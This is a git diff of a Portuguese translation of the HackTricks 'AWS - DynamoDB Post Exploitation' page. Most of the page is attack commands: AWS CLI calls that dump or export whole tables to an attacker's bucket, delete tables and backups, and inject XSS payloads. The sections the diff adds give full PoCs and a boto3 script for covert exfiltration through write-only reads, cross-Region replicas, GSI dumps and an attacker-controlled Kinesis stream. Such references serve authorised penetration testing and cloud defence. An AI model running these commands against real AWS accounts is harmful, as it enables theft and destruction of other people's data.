mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - Exploração Pós-DynamoDB
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
|
||||
Um atacante com essa permissão poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Elevação de privilégios indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, desde que possua a chave primária do item a recuperar:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada. Permite usar um [subconjunto de comparações](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma solicitação.
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -111,15 +111,15 @@ aws dynamodb query \
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Você pode usar esta permissão para **extrair facilmente toda a tabela**.
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto potencial:** Privesc indireta por localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Você pode usar esta permissão para **extrair facilmente toda a tabela**.
|
||||
Você pode usar essa permissão para **dump toda a tabela facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -129,13 +129,13 @@ Essa permissão também permite executar `batch-execute-statement` como:
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mas você precisa especificar a chave primária com um valor, então não é tão útil.
|
||||
mas você precisa especificar a chave primária com um valor, então isso não é tão útil.
|
||||
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Esta permissão permitirá que um atacante **exporte toda a tabela para um bucket S3** de sua escolha:
|
||||
Esta permissão permitirá que um atacante **exporte toda a tabela para um S3 bucket** de sua escolha:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,22 +144,22 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Observe que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
|
||||
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado. Você pode verificar se a tabela possui isso com:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se não estiver habilitado, você precisará **habilitá-lo** e para isso você precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
Se não estiver habilitado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até mesmo criar um backup para depois restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele poderia verificar **informações** dos backups que **poderiam não estar mais na tabela de produção**.
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para depois restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia verificar as **informações** dos backups que **não poderiam mais estar na tabela de produção**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,10 +170,10 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Esta permissão permite que os usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
Esta permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Exemplo de XSS" }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
@@ -202,14 +202,14 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Potential Impact:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Esta permissão permite que os usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
|
||||
Essa permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Exemplo de XSS" }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
@@ -230,7 +230,7 @@ aws dynamodb update-item --table <table_name> \
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Exemplo de IA" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -242,21 +242,21 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Um atacante com esta permissão pode **deletar uma tabela DynamoDB, causando perda de dados**.
|
||||
Um atacante com essa permissão pode **excluir uma tabela DynamoDB, causando perda de dados**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Perda de dados e interrupção de serviços que dependem da tabela excluída.
|
||||
**Potential impact**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Um atacante com esta permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres**.
|
||||
Um atacante com essa permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em um cenário de recuperação de desastres**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
@@ -267,37 +267,271 @@ aws dynamodb delete-backup \
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se isso realmente funciona
|
||||
> TODO: Testar se isto realmente funciona
|
||||
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
|
||||
Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
|
||||
|
||||
1. Habilitar um stream em uma tabela DynamoDB:
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Descreva o fluxo para obter o ARN e outros detalhes:
|
||||
2. Descreva o stream para obter o ARN e outros detalhes:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtenha o iterador de fragmento usando o ARN do stream:
|
||||
3. Obtenha o shard iterator usando o ARN do stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Use o iterador de fragmentos para acessar e exfiltrar dados do fluxo:
|
||||
4. Use o shard iterator para acessar e exfiltrate dados do stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações da tabela DynamoDB.
|
||||
|
||||
### Ler itens via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem quaisquer permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao executar uma atualização inócua e solicitar `--return-values ALL_OLD`. O DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
|
||||
- Permissões mínimas: `dynamodb:UpdateItem` na tabela/chave alvo.
|
||||
- Pré-requisitos: Você deve conhecer a chave primária do item.
|
||||
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltra o item anterior na resposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso somente de escrita.
|
||||
|
||||
**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, possibilitando exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltração furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (version 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, de onde o atacante pode ler todos os itens.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
|
||||
|
||||
Impacto potencial: Replicação da tabela inteira para uma Region controlada pelo atacante, levando à exfiltração de dados furtiva.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao realizar um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura às chaves alvo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissões: `dynamodb:TransactWriteItems` na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
|
||||
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Contorne as restrições de leitura criando um Índice Secundário Global (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo com um valor constante entre os itens e, em seguida, `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você consiga consultar o ARN do índice.
|
||||
|
||||
- Permissões mínimas:
|
||||
- `dynamodb:UpdateTable` na tabela alvo (para criar o GSI com `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` nas chaves da tabela alvo (para definir o atributo indexado em cada item).
|
||||
- `dynamodb:Query` no ARN do recurso do índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passos (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impacto potencial:** Exfiltração completa da tabela ao consultar um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltração contínua via Kinesis Data Streams)
|
||||
|
||||
Abusando dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem precisar de permissões de leitura na tabela.
|
||||
|
||||
Permissões mínimas (atacante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na tabela alvo
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorar o status
|
||||
- Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Impacto Potencial:** Exfiltração contínua, quase em tempo real, de alterações da tabela para um Kinesis stream controlado por um atacante, sem operações de leitura diretas na tabela.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user